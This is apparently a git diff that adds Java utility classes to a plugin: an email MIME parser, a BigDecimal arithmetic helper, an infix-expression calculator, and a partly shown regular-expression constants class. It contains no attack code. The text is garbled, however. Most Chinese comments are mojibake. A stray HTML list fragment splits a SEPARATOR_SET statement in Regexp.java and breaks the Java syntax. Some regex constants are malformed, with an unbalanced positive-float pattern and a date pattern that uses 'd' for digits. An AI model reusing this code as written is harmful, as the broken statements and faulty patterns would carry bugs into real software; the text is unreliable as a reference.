文本内容 + * @throws MessagingException + * the messaging exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String getText(Part p) throws MessagingException, IOException { + + if (p.isMimeType("text/*")) { + if (p.isMimeType("text/html")) { + htmlResource = new ResourceFileBean("html-file.html", p.getInputStream()); + } + String s = (String) p.getContent(); + s = MimeUtility.decodeText(s); + String contenttype = p.getContentType(); + String[] types = contenttype.split(";"); + for (String i : types) { + if (i.toLowerCase().indexOf("charset") > 0) { + String[] values = i.split("="); + if (values != null && values.length >= 2) { + String charSet = values[1].trim(); + if (charSet.indexOf("\"") != -1 || charSet.indexOf("\'") != -1) { + charSet = charSet.substring(1, charSet.length() - 1); + } + textCharset = charSet; + } + } + } + return s; + } + + if (p.isMimeType("multipart/alternative")) { + Multipart mp = (Multipart) p.getContent(); + String text = null; + for (int i = 0; i < mp.getCount(); i++) { + Part bp = mp.getBodyPart(i); + if (bp.isMimeType("text/plain")) { + if (text == null) { + text = getText(bp); + } + break; + } else if (bp.isMimeType("text/html")) { + String s = getText(bp); + if (s != null) { + return s; + } + } else { + return getText(bp); + } + } + return text; + } else if (p.isMimeType("multipart/*")) { + Multipart mp = (Multipart) p.getContent(); + for (int i = 0; i < mp.getCount(); i++) { + String s = getText(mp.getBodyPart(i)); + if (s != null) { + return s; + } + + } + } + return null; + } + + /** + * å°† html æ ¼å¼çš„文本过滤掉标签. + * @param html + * html æ ¼å¼çš„字符串 + * @return String + * 过滤掉 html 标签åŽçš„文本。如果 html 为空,返回空串"" + */ + private String htmlToText(String html) { + if (html == null) { + return ""; + } + DOMFragmentParser parser = new DOMFragmentParser(); + CoreDocumentImpl codeDoc = new CoreDocumentImpl(); + InputSource inSource = new InputSource(new ByteArrayInputStream(html.getBytes())); + inSource.setEncoding(textCharset); + DocumentFragment doc = codeDoc.createDocumentFragment(); + + try { + parser.parse(inSource, doc); + } catch (Exception e) { + return ""; + } + + textBuffer = new StringBuffer(); + processNode(doc); + return textBuffer.toString(); + } + + /** + * é历节点 node 以过滤所有的 html 标签. + * @param node + * è¦é历的节点 + */ + private void processNode(Node node) { + if (node == null) { + return; + } + if ("BR".equals(node.getNodeName())) { + textBuffer.append("\n" + newLine(node)); + } else if ("TR".equals(node.getNodeName())) { + textBuffer.append("\n" + newLine(node)); + } else if ("DIV".equals(node.getNodeName())) { + textBuffer.append("\n" + newLine(node)); + } else if ("BLOCKQUOTE".equals(node.getNodeName())) { + if (node.getAttributes() != null) { + Node item = node.getAttributes().getNamedItem("type"); + if (item != null) { + if ("cite".equalsIgnoreCase(item.getNodeValue())) { + textBuffer.append("\n" + newLine(node)); + } + } + } + } else if ("LI".equals(node.getNodeName())) { + textBuffer.append("\n" + newLine(node) + " "); + } + if (node.getNodeType() == Node.TEXT_NODE) { + String value = node.getNodeValue(); + if (value != null) { + if (value.indexOf("\n") != -1 && "".equals(value.trim())) { + return; + } else if (value.indexOf("\n") != -1) { + if (!"BODY".equals(node.getParentNode().getNodeName())) { + value = value.replaceAll("\n", ""); + } + } + } + textBuffer.append(value); + } else if (node.hasChildNodes()) { + NodeList childList = node.getChildNodes(); + int childLen = childList.getLength(); + + for (int count = 0; count < childLen; count++) { + processNode(childList.item(count)); + } + } else { + return; + } + } + + /** + * 生æˆä¸€ä¸ªæ–°è¡Œ. + * @param node + * 节点 + * @return String + * ç”± > 组æˆçš„字符串 + */ + private String newLine(Node node) { + Node parentNode = node; + int count = 0; + while (parentNode != null) { + String parentName = parentNode.getNodeName(); + if (parentNode.getAttributes() == null) { + parentNode = parentNode.getParentNode(); + continue; + } + Node namedItem = parentNode.getAttributes().getNamedItem("type"); + if (namedItem == null) { + parentNode = parentNode.getParentNode(); + continue; + } + if ("BLOCKQUOTE".equals(parentName)) { + if ("cite".equalsIgnoreCase(namedItem.getNodeValue())) { + count++; + } + } + parentNode = parentNode.getParentNode(); + } + if (count > maxArrow || count == 0) { + maxArrow = count; + } + StringBuffer arrow = new StringBuffer(); + for (int i = 0; i < maxArrow; i++) { + if (i == maxArrow - 1) { + arrow.append("> "); + } else { + arrow.append(">"); + } + } + return arrow.toString(); + } + + /** + * 获å–消æ¯å¯¹è±¡. + * @return Message + * 消æ¯å¯¹è±¡. + */ + public Message getMessage() { + return message; + } + + /** + * èŽ·å– ResourceFileBean 对象. + * @return ResourceFileBean + * ResourceFileBean 对象 + */ + public ResourceFileBean getHtmlResource() { + return htmlResource; + } + + /** + * The main method. + * @param args + * the arguments + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public static void main(String[] args) throws IOException { + Properties prep = new Properties(); + Session session = Session.getInstance(prep); + try { + Message msg = new MimeMessage(session, new FileInputStream("/data/terry/Desktop/email.eml")); + MessageParser parser = new MessageParser(msg); + System.out.println(parser.getPlainText()); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } catch (MessagingException e) { + e.printStackTrace(); + } + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/ResourceFileBean.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/ResourceFileBean.java new file mode 100644 index 0000000..f4a3d16 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/mail/ResourceFileBean.java @@ -0,0 +1,40 @@ +/** + * ResourceFileBean.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.mail; + +import java.io.InputStream; + +/** + * The Class ResourceFileBean. + * @author Terry + * @version + * @since JDK1.6 + */ +public class ResourceFileBean { + + /** 文件å. */ + public String fileName; + + /** 输入æµ. */ + public InputStream inputStream; + + /** + * 构造方法. + * @param fileName + * 文件å + * @param inputStream + * è¾“å…¥æµ + */ + public ResourceFileBean(String fileName, InputStream inputStream) { + this.fileName = fileName; + this.inputStream = inputStream; + } + +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/math/Arith.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/math/Arith.java new file mode 100644 index 0000000..0e6c14e --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/math/Arith.java @@ -0,0 +1,166 @@ +/** + * Arith.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.math; + +import java.math.BigDecimal; +import java.util.Random; + +/** + * 由于Java的简å•ç±»åž‹ä¸èƒ½å¤Ÿç²¾ç¡®çš„对浮点数进行è¿ç®—,该工具类æ供精确的浮点数è¿ç®—,包括加å‡ä¹˜é™¤å’Œå››èˆäº”入。. + * @author peason + * @version + * @since JDK1.6 + */ +public final class Arith { + + /** 默认除法è¿ç®—精度. */ + private static final int DEF_DIV_SCALE = 10; + + /** + * 构造方法,该类ä¸èƒ½å®žä¾‹åŒ– + */ + private Arith() { + + } + + /** + * æ供精确的加法è¿ç®—。 + * @param v1 + * 被加数 + * @param v2 + * 加数 + * @return double + * 两个å‚æ•°çš„å’Œ + */ + public static double add(double v1, double v2) { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + double result = b1.add(b2).doubleValue(); + b1 = null; + b2 = null; + return result; + } + + /** + * 获得éšæœºæ•°. + * @param num + * 生æˆçš„éšæœºæ•°æœ€å¤§å€¼ï¼šnum - 1 + * @return int + * 生æˆçš„éšæœºæ•°çš„范围:[0,num) + */ + public static int random(int num) { + Random random = new Random(); + return Math.abs(random.nextInt()) % num; + } + + /** + * æ供精确的å‡æ³•è¿ç®—。. + * @param v1 + * 被å‡æ•° + * @param v2 + * å‡æ•° + * @return double + * 两个å‚æ•°çš„å·® + */ + public static double sub(double v1, double v2) { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + double result = b1.subtract(b2).doubleValue(); + b1 = null; + b2 = null; + return result; + } + + /** + * æ供精确的乘法è¿ç®—。. + * @param v1 + * 被乘数 + * @param v2 + * 乘数 + * @return double + * 两个å‚数的乘积 + */ + public static double mul(double v1, double v2) { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + double result = b1.multiply(b2).doubleValue(); + b1 = null; + b2 = null; + return result; + } + + /** + * æ供(相对)精确的除法è¿ç®—,当å‘生除ä¸å°½çš„情况时,精确到 å°æ•°ç‚¹ä»¥åŽ10ä½ï¼Œä»¥åŽçš„æ•°å­—å››èˆäº”入。. + * @param v1 + * 被除数 + * @param v2 + * 除数 + * @return double + * 两个å‚数的商 + */ + public static double div(double v1, double v2) { + return div(v1, v2, DEF_DIV_SCALE); + } + + /** + * The main method. + * @param args + * the arguments + */ + public static void main(String[] args) { + System.out.println(5 / 4 + 1); + System.out.println(random(6)); +// System.out.println(div(1, 9, -1)); + } + + /** + * æ供(相对)精确的除法è¿ç®—。当å‘生除ä¸å°½çš„情况时,由 scale å‚数指定精度,以åŽçš„æ•°å­—å››èˆäº”入。. + * @param v1 + * 被除数 + * @param v2 + * 除数 + * @param scale + * 表示需è¦ç²¾ç¡®åˆ°å°æ•°ç‚¹ä»¥åŽå‡ ä½ã€‚ + * @return double + * 两个å‚数的商 + */ + public static double div(double v1, double v2, int scale) { + if (scale < 0) { + throw new IllegalArgumentException("The scale must be a positive integer or zero"); + } + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + double result = b1.divide(b2, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + b1 = null; + b2 = null; + return result; + } + + /** + * æ供精确的å°æ•°ä½å››èˆäº”入处ç†ã€‚. + * @param v + * 需è¦å››èˆäº”入的数字 + * @param scale + * å°æ•°ç‚¹åŽä¿ç•™å‡ ä½ + * @return double + * å››èˆäº”å…¥åŽçš„结果 + */ + public static double round(double v, int scale) { + if (scale < 0) { + throw new IllegalArgumentException("The scale must be a positive integer or zero"); + } + BigDecimal b = new BigDecimal(Double.toString(v)); + BigDecimal one = new BigDecimal("1"); + double result = b.divide(one, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + b = null; + one = null; + return result; + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/math/Calculator.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/math/Calculator.java new file mode 100644 index 0000000..8834582 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/math/Calculator.java @@ -0,0 +1,475 @@ +/** + * Calculator.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.math; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.StringCharacterIterator; +import java.util.Stack; +import java.util.Vector; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * 对数学表达å¼æ±‚值的工具类. + * @author Terry + * @version + * @since JDK1.6 + */ +public class Calculator { + + /** + * 构造方法. + */ + protected Calculator() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** + * The main method. + * @param args + * the arguments + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public static void main(String[] args) throws IOException { + String strInput; + double fOutput; + + //测试用例:1-3*(4-(2+5*3)+5)-6/(1+2)=23 + //测试用例:11.2+3.1*(423-(2+5.7*3.4)+5.6)-6.4/(15.5+24)=1273.4199746835445 + while (true) { + System.out.print("输入表达å¼: "); + System.out.flush(); + + strInput = getString(); + if (strInput.equals("")) { + break; + } + + // 以下对输入字符串åšè§„åˆ™å¤„ç† + strInput = Calculator.checkexpression(strInput); + if (strInput.equals("")) { + System.out.println(" 表达å¼å‡ºé”™ "); + } + + // 以下对输入字符串åšè¡¨è¾¾å¼è½¬æ¢ + Vector vCompute = Calculator.getexpression(strInput); + + for (int i = 0; i < vCompute.size(); i++) { + System.out.println("" + vCompute.get(i)); + } + + // 以下进行åŽç¼€è¡¨è¾¾å¼è½¬æ¢ + Vector vTmpPrefix = Calculator.transformprefix(vCompute); + + for (int i = 0; i < vTmpPrefix.size(); i++) { + System.out.println(vTmpPrefix.get(i)); + } + + // 以下进行åŽç¼€è¡¨è¾¾å¼è¿ç®— + fOutput = Calculator.evaluateprefix(vTmpPrefix); + + System.out.println("结果 = " + fOutput); + + } + } + + /** + * é™æ€æ–¹æ³•,用æ¥ä»ŽæŽ§åˆ¶å°è¯»å…¥è¡¨è¾¾å¼. + * @return String + * 表达å¼å­—符串 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private static String getString() throws IOException { + InputStreamReader isr = new InputStreamReader(System.in); + BufferedReader br = new BufferedReader(isr); + String s = br.readLine(); + return s; + } + + /** + * 输入字符串转æ¢.把从控制å°è¯»å…¥çš„字符串转æˆè¡¨è¾¾å¼å­˜åœ¨ä¸€ä¸ªé˜Ÿåˆ—中. 例:123+321 存为"123""+""321" + * @param str + * 表达å¼å­—符串 + * @return Vector<String> + * 表达å¼é›†åˆ + */ + private static Vector getexpression(String str) { + Vector vTemp = new Vector(); + char[] temp = new char[str.length()]; + str.getChars(0, str.length(), temp, 0); + String fi = ""; + int i = 0; + // 匹é…æ•°å­—å’Œå°æ•°ç‚¹ + String regexFig = "[\\.\\d]"; + // 匹é…è¿ç®—符(+,-,*,/)和括å·("(",")") + String regexOperator = "[\\+\\-\\*/\\(\\)]"; + Pattern pattertFig = Pattern.compile(regexFig); + Pattern patternOperator = Pattern.compile(regexOperator); + Matcher m = null; + boolean b; + while (i < str.length()) { + Character c = new Character(temp[i]); + String s = c.toString(); + m = patternOperator.matcher(s); + b = m.matches(); + + if (b) { + vTemp.add(fi); + fi = ""; + vTemp.add(s); + } + m = pattertFig.matcher(s); + b = m.matches(); + if (b) { + fi = fi + s; + } + i++; + } + vTemp.add(fi); + + return vTemp; + } + + /** + * 转æ¢ä¸­åºè¡¨ç¤ºå¼ä¸ºå‰åºè¡¨ç¤ºå¼. + * @param parmVExpression + * 表示å¼çš„é›†åˆ + * @return Vector<String> + * 转æ¢åŽçš„å‰åºè¡¨ç¤ºå¼ + */ + private static Vector transformprefix(Vector parmVExpression) { + Vector vPrefix = new Vector(); + Stack stackTmp = new Stack(); + // 匹é…正浮点数 + String strRegexFloat = "\\d+(\\.\\d+)?"; + Pattern patternFloat = Pattern.compile(strRegexFloat); + Matcher m = null; + boolean b; + String strElem = ""; + + for (int i = 0; i < parmVExpression.size(); i++) { + strElem = parmVExpression.get(i).toString(); + m = patternFloat.matcher(strElem); + b = m.matches(); + + if (b) { + vPrefix.add(strElem); + } + + if (strElem.equals("+") || strElem.equals("-")) { + if (stackTmp.isEmpty()) { + stackTmp.push(strElem); + } else { + while (!stackTmp.isEmpty()) { + String strTmp = stackTmp.peek(); + + if (strTmp.equals("(")) { + break; + } else { + vPrefix.add(stackTmp.pop()); + } + } + stackTmp.push(strElem); + } + } + + if (strElem.equals("*") || strElem.equals("/")) { + if (stackTmp.isEmpty()) { + stackTmp.push(strElem); + } else { + while (!stackTmp.isEmpty()) { + String strTmp = stackTmp.peek(); + + if (strTmp.equals("(") || strTmp.equals("+") || strTmp.equals("-")) { + break; + } else { + vPrefix.add(stackTmp.pop()); + } + } + stackTmp.push(strElem); + } + } + + if (strElem.equals("(")) { + stackTmp.push(strElem); + } + + if (strElem.equals(")")) { + while (!stackTmp.isEmpty()) { + String strTmp = stackTmp.peek(); + if (strTmp.equals("(")) { + stackTmp.pop(); + break; + } else { + vPrefix.add(stackTmp.pop()); + } + } + } + } + + while (!stackTmp.isEmpty()) { + vPrefix.add(stackTmp.pop()); + } + return vPrefix; + } + + /** + * å‰ç¼€è¡¨ç¤ºå¼æ±‚值. + * @param parmVPrefix + * å‰ç¼€è¡¨ç¤ºå¼çš„é›†åˆ + * @return double + * å‰ç¼€è¡¨ç¤ºå¼çš„值 + */ + private static strictfp double evaluateprefix(Vector parmVPrefix) { + String strTmp = ""; + double num1, num2, interans = 0; + Stack stackCompute = new Stack(); + + int i = 0; + while (i < parmVPrefix.size()) { + strTmp = parmVPrefix.get(i).toString(); + if (!strTmp.equals("+") && !strTmp.equals("-") && !strTmp.equals("*") && !strTmp.equals("/")) { + interans = stackCompute.push(Double.parseDouble(strTmp)); + } else { + num2 = (stackCompute.pop()); + num1 = (stackCompute.pop()); + + if (strTmp.equals("+")) { + interans = num1 + num2; + } + if (strTmp.equals("-")) { + interans = num1 - num2; + } + if (strTmp.equals("*")) { + interans = num1 * num2; + } + if (strTmp.equals("/")) { + interans = num1 / num2; + } + stackCompute.push(interans); + } + i++; + } + return interans; + } + + /** + * 表达å¼æ±‚值。 + * @param parmStrInput + * 表达å¼å­—符串 + * @return double + * 表达å¼çš„值 + */ + public static strictfp double evaluateprefix(String parmStrInput) { + Vector vCompute = Calculator.getexpression(parmStrInput); + Vector vTmpPrefix = Calculator.transformprefix(vCompute); + return Calculator.evaluateprefix(vTmpPrefix); + } + + /** + * 括å·åŒ¹é…检测. + * @param str + * 表达å¼å­—符串 + * @return boolean + * 如果表达å¼æ‹¬å·åŒ¹é…,返回true,å¦åˆ™è¿”回 false + */ + public static boolean checkbracket(String str) { + Stack stackCheck = new Stack(); + boolean booFlag = true; + + for (int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + switch (ch) { + case '(': + stackCheck.push(ch); + break; + case ')': + if (!stackCheck.isEmpty()) { + char chx = stackCheck.pop(); + if (ch == ')' && chx != '(') { + booFlag = false; + } + } else { + booFlag = false; + } + break; + default: + break; + } + } + if (!stackCheck.isEmpty()) { + booFlag = false; + } + return booFlag; + } + + /** + * 表达å¼æ­£ç¡®æ€§è§„则处ç†ä¸Žæ ¡éªŒ. + * @param str + * è¡¨è¾¾å¼ + * @return String + * 如果表达å¼éžæ³•ï¼Œè¿”回空串"",å¦åˆ™è¿”å›žè¡¨è¾¾å¼ + */ + public static String checkexpression(String str) { + if (str == null || "".equals(str.trim())) { + return ""; + } + StringCharacterIterator sci = new StringCharacterIterator(str); + char lastChar = sci.last(); + switch (lastChar) { + case '+': + return ""; + case '*': + return ""; + case '-': + return ""; + case '/': + return ""; + default: + break; + } + if (!Calculator.checkbracket(str)) { + return ""; + } + Stack stackCheck = new Stack(); + Stack stackTmp = new Stack(); + String strResultOne = ""; + + // 匹é…åˆæ³•çš„è¿ç®—字符"æ•°å­—,.,+,-,*,/,(,)," + String strRegex = "^[\\.\\d\\+\\-\\*/\\(\\)]+$"; + Pattern patternFiltrate = Pattern.compile(strRegex); + Matcher m = patternFiltrate.matcher(str); + boolean booFiltrate = m.matches(); + if (!booFiltrate) { + strResultOne = ""; + return strResultOne; + } + + // 匹é…éžæ³•çš„浮点数. + String strErrFloat = ".*(\\.\\d*){2,}.*"; + Pattern patternErrFloat = Pattern.compile(strErrFloat); + Matcher matcherErrFloat = patternErrFloat.matcher(str); + boolean booErrFloat = matcherErrFloat.matches(); + if (booErrFloat) { + strResultOne = ""; + return strResultOne; + } + + for (int i = 0; i < str.length(); i++) { + char ch = str.charAt(i); + if (checkfig(ch)) { + if (!stackTmp.isEmpty() && stackTmp.peek() == ')') { + strResultOne = ""; + return strResultOne; + } + stackTmp.push(ch); + strResultOne = strResultOne + ch; + } + + switch (ch) { + case '(': + if (!stackTmp.isEmpty() && stackTmp.peek() == '.') { + strResultOne = ""; + return strResultOne; + } + stackCheck.push(ch); + if (stackTmp.isEmpty() || (!checkfig(stackTmp.peek()) && stackTmp.peek() != ')')) { + strResultOne = strResultOne + ch; + } else { + strResultOne = strResultOne + "*" + ch; + } + stackTmp.push(ch); + break; + case ')': + if (!stackCheck.isEmpty()) { + char chx = stackCheck.pop(); + if (ch == ')' && chx != '(') { + strResultOne = ""; + return strResultOne; + } + } else { + strResultOne = ""; + return strResultOne; + } + if (stackTmp.peek() == '.' || (!checkfig(stackTmp.peek()) && stackTmp.peek() != ')')) { + strResultOne = ""; + return strResultOne; + } + stackTmp.push(ch); + strResultOne = strResultOne + ch; + break; + case '+': + case '-': + if (!stackTmp.isEmpty() + && (stackTmp.peek() == '+' || stackTmp.peek() == '-' || stackTmp.peek() == '*' || stackTmp.peek() == '/' || stackTmp + .peek() == '.')) { + strResultOne = ""; + return strResultOne; + } + if (stackTmp.isEmpty() || stackTmp.peek() == '(') { + strResultOne = strResultOne + "0" + ch; + } else { + strResultOne = strResultOne + ch; + } + stackTmp.push(ch); + break; + case '*': + case '/': + if (stackTmp.isEmpty() || stackTmp.peek() == '.' || (!checkfig(stackTmp.peek()) && stackTmp.peek() != ')')) { + strResultOne = ""; + return strResultOne; + } + stackTmp.push(ch); + strResultOne = strResultOne + ch; + break; + case '.': + if (stackTmp.isEmpty() || !checkfig(stackTmp.peek())) { + strResultOne = strResultOne + "0" + ch; + } else { + strResultOne = strResultOne + ch; + } + stackTmp.push(ch); + break; + + default: + break; + } + } + if (!stackCheck.isEmpty()) { + strResultOne = ""; + return strResultOne; + } + + return strResultOne; + + } + + /** + * 数字匹é…检测 + * @param ch + * è¦æ£€æµ‹çš„对象 + * @return boolean + * 如果该对象仅有一个数字组æˆï¼Œè¿”回 true,å¦åˆ™è¿”回 false + */ + private static boolean checkfig(Object ch) { + String s = ch.toString(); + // 匹é…æ•°å­— + String strRegexfig = "\\d"; + Pattern patternFig = Pattern.compile(strRegexfig); + Matcher matcherFig = patternFig.matcher(s); + boolean booFig = matcherFig.matches(); + return booFig; + } + +}; diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/regexp/Regexp.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/regexp/Regexp.java new file mode 100644 index 0000000..52a7178 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/regexp/Regexp.java @@ -0,0 +1,196 @@ +/** + * Regexp.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.regexp; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; + +/** + * 正则表达å¼å·¥å…·ç±». + * @author Terry + * @version + * @since JDK1.6 + */ +public final class Regexp { + + /** ä¿æ”¾æœ‰å››ç»„对应分隔符. */ + static final Set SEPARATOR_SET = new TreeSet(); + { + SEPARATOR_SET.add("("); + SEPARATOR_SET.add(")"); + SEPARATOR_SET.add("["); + SEPARATOR_SET.add("]"); + SEPARATOR_SET.add("{"); + SEPARATOR_SET.add("}"); + SEPARATOR_SET + .add("<\");
  • SEPARATOR_SET.add(\">"); + } + + /** 存放å„ç§æ­£è§„表达å¼(以key->valueçš„å½¢å¼). */ + public static HashMap regexpHash = new HashMap(); + + /** 存放å„ç§æ­£è§„表达å¼. */ + public static List matchingResultList = new ArrayList(); + + /** + * 构造方法. + */ + private Regexp() { + } + + /** + * 返回 Regexp 实例. + * @return Regexp + * Regexp 实例. + */ + public static Regexp getInstance() { + return new Regexp(); + } + + /** + * 匹é…图象 æ ¼å¼: /相对路径/文件å.åŽç¼€ (åŽç¼€ä¸ºgif,dmp,png) åŒ¹é… : /forum/head_icon/admini2005111_ff.gif 或 admini2005111.dmp ä¸åŒ¹é…: + * c:/admins4512.gif + */ + public static final String ICON_REGEXP = "^(/{0,1}\\w){1,}\\.(gif|dmp|png|jpg)$|^\\w{1,}\\.(gif|dmp|png|jpg)$"; + + /** 匹é…emailåœ°å€ æ ¼å¼: XXX@XXX.XXX.XX åŒ¹é… : foo@bar.com 或 foobar@foobar.com.au ä¸åŒ¹é…: foo@bar 或 $$$@bar.com */ + public static final String EMAIL_REGEXP = "(?:\\w[-._\\w]*\\w@\\w[-._\\w]*\\w\\.\\w{2,3}$)"; + + /** + * 匹é…并æå–url æ ¼å¼: XXXX://XXX.XXX.XXX.XX/XXX.XXX?XXX=XXX åŒ¹é… : http://www.suncer.com 或news://www æå–(MatchResult + * matchResult=matcher.getMatch()): matchResult.group(0)= http://www.suncer.com:8080/index.html?login=true + * matchResult.group(1) = http matchResult.group(2) = www.suncer.com matchResult.group(3) = :8080 + * matchResult.group(4) = /index.html?login=true ä¸åŒ¹é…: c:\window + */ + public static final String URL_REGEXP = "(\\w+)://([^/:]+)(:\\d*)?([^\\s]*)"; + + /** + * 匹é…并æå–http æ ¼å¼: http://XXX.XXX.XXX.XX/XXX.XXX?XXX=XXX 或 ftp://XXX.XXX.XXX 或 https://XXX åŒ¹é… : + * http://www.suncer.com:8080/index.html?login=true æå–(MatchResult matchResult=matcher.getMatch()): + * matchResult.group(0)= http://www.suncer.com:8080/index.html?login=true matchResult.group(1) = http + * matchResult.group(2) = www.suncer.com matchResult.group(3) = :8080 matchResult.group(4) = /index.html?login=true + * ä¸åŒ¹é…: news://www + */ + public static final String HTTP_REGEXP = "(http|https|ftp)://([^/:]+)(:\\d*)?([^\\s]*)"; + + /** 匹é…日期 æ ¼å¼(首ä½ä¸ä¸º0): XXXX-XX-XX 或 XXXX XX XX 或 XXXX-X-X 范围:1900--2099 åŒ¹é… : 2005-04-04 ä¸åŒ¹é…: 01-01-01. */ + public static final String DATE_REGEXP = "^((((19){1}|(20){1})d{2})|d{2})[-\\s]{1}[01]{1}d{1}[-\\s]{1}[0-3]{1}d{1}$"; + + /** + * 匹é…ç”µè¯ æ ¼å¼ä¸º: 0XXX-XXXXXX(10-13ä½é¦–ä½å¿…须为0) 或0XXX XXXXXXX(10-13ä½é¦–ä½å¿…须为0) 或 (0XXX)XXXXXXXX(11-14ä½é¦–ä½å¿…须为0) 或 + * XXXXXXXX(6-8ä½é¦–ä½ä¸ä¸º0) 或 XXXXXXXXXXX(11ä½é¦–ä½ä¸ä¸º0) åŒ¹é… : 0371-123456 或 (0371)1234567 或 (0371)12345678 或 010-123456 或 + * 010-12345678 或 12345678912 ä¸åŒ¹é…: 1111-134355 或 0123456789. + */ + public static final String PHONE_REGEXP = "^(?:0[0-9]{2,3}[-\\s]{1}|\\(0[0-9]{2,4}\\))[0-9]{6,8}$|^[1-9]{1}[0-9]{5,7}$|^[1-9]{1}[0-9]{10}$"; + + /** + * 匹é…èº«ä»½è¯ æ ¼å¼ä¸º: XXXXXXXXXX(10ä½) 或 XXXXXXXXXXXXX(13ä½) 或 XXXXXXXXXXXXXXX(15ä½) 或 XXXXXXXXXXXXXXXXXX(18ä½) åŒ¹é… : + * 0123456789123 ä¸åŒ¹é…: 0123456. + */ + public static final String ID_CARD_REGEXP = "^\\d{10}|\\d{13}|\\d{15}|\\d{18}$"; + + /** 匹é…é‚®ç¼–ä»£ç  æ ¼å¼ä¸º: XXXXXX(6ä½) åŒ¹é… : 012345 ä¸åŒ¹é…: 0123456. */ + public static final String ZIP_REGEXP = "^[0-9]{6}$"; + + /** + * 匹é…é‚®ç¼–ä»£ç  ä¸åŒ…æ‹¬ç‰¹æ®Šå­—ç¬¦çš„åŒ¹é… (字符串中ä¸åŒ…æ‹¬ç¬¦å· æ•°å­¦æ¬¡æ–¹å·^ å•å¼•å·' åŒå¼•å·" 分å·; 逗å·, 帽å·: æ•°å­¦å‡å·- å³å°–括å·> 左尖括å·< åæ–œæ \ å³ç©ºæ ¼,制表符,回车符等 ) æ ¼å¼ä¸º: x 或 一个一上的字符 åŒ¹é… : + * 012345 ä¸åŒ¹é…: 0123456. + */ + public static final String NON_SPECIAL_CHAR_REGEXP = "^[^'\"\\;,:-<>\\s].+$"; + + /** 匹é…éžè´Ÿæ•´æ•°ï¼ˆæ­£æ•´æ•° + 0). */ + public static final String NON_NEGATIVE_INTEGERS_REGEXP = "^\\d+$"; + + /** 匹é…ä¸åŒ…括零的éžè´Ÿæ•´æ•°ï¼ˆæ­£æ•´æ•° > 0). */ + public static final String NON_ZERO_NEGATIVE_INTEGERS_REGEXP = "^[1-9]+\\d*$"; + + /** 匹é…正整数. */ + public static final String POSITIVE_INTEGER_REGEXP = "^[0-9]*[1-9][0-9]*$"; + + /** 匹é…éžæ­£æ•´æ•°ï¼ˆè´Ÿæ•´æ•° + 0). */ + public static final String NON_POSITIVE_INTEGERS_REGEXP = "^((-\\d+)|(0+))$"; + + /** 匹é…è´Ÿæ•´æ•°. */ + public static final String NEGATIVE_INTEGERS_REGEXP = "^-[0-9]*[1-9][0-9]*$"; + + /** 匹é…æ•´æ•°. */ + public static final String INTEGER_REGEXP = "^-?\\d+$"; + + /** 匹é…éžè´Ÿæµ®ç‚¹æ•°ï¼ˆæ­£æµ®ç‚¹æ•° + 0). */ + public static final String NON_NEGATIVE_RATIONAL_NUMBERS_REGEXP = "^\\d+(\\.\\d+)?$"; + + /** 匹é…正浮点数. */ + public static final String POSITIVE_RATIONAL_NUMBERS_REGEXP = "^(([0-9]+\\.[0-9]*[1-9][0-9]*"; + + /** 匹é…éžæ­£æµ®ç‚¹æ•°ï¼ˆè´Ÿæµ®ç‚¹æ•° + 0). */ + public static final String NON_POSITIVE_RATIONAL_NUMBERS_REGEXP = "^((-\\d+(\\.\\d+)?)|(0+(\\.0+)?))$"; + + /** 匹é…负浮点数. */ + public static final String NEGATIVE_RATIONAL_NUMBERS_REGEXP = "^(-(([0-9]+\\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\\.[0-9]+)|([0-9]*[1-9][0-9]*)))$"; + + /** 匹é…浮点数. */ + public static final String RATIONAL_NUMBERS_REGEXP = "^(-?\\d+)(\\.\\d+)?$"; + + /** 匹é…ç”±26个英文字æ¯ç»„æˆçš„字符串. */ + public static final String LETTER_REGEXP = "^[A-Za-z]+$"; + + /** 匹é…ç”±26个英文字æ¯çš„大写组æˆçš„字符串. */ + public static final String UPWARD_LETTER_REGEXP = "^[A-Z]+$"; + + /** 匹é…ç”±26个英文字æ¯çš„å°å†™ç»„æˆçš„字符串. */ + public static final String LOWER_LETTER_REGEXP = "^[a-z]+$"; + + /** 